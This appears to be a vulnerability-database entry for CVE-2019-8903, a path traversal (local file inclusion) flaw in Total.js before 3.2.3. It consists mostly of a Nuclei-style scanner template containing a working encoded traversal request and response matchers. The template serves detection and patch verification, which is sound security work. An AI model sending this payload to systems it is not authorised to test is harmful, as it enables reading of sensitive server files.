CVE-2019-8903: Totaljs <3.2.3 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Totaljs | POC: 已公开

漏洞描述

Total.js Platform before 3.2.3 is vulnerable to local file inclusion.

PoC代码[已公开]

id: CVE-2019-8903

info:
  name: Totaljs <3.2.3 - Local File Inclusion
  author: madrobot
  severity: high
  description: Total.js Platform before 3.2.3 is vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade Totaljs to version 3.2.3 or later to fix the LFI vulnerability.
  reference:
    - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903
    - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7
    - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8903
    cwe-id: CWE-22
    epss-score: 0.47439
    epss-percentile: 0.97631
    cpe: cpe:2.3:a:totaljs:total.js:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: totaljs
    product: total.js
    framework: node.js
  tags: cve2019,cve,totaljs,lfi,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apache2.conf"

      - type: status
        status:
          - 200
# digest: 490a004630440220612d2940e7292823e237e3e7b7b246bdd02bbab00857635be5b2d5ed64922ce7022017cc8e88037caf8107791a39bb31b28c93addb6017f3fb13c752909058bbaa9b:922c64590222798bb761d5b6d8e72950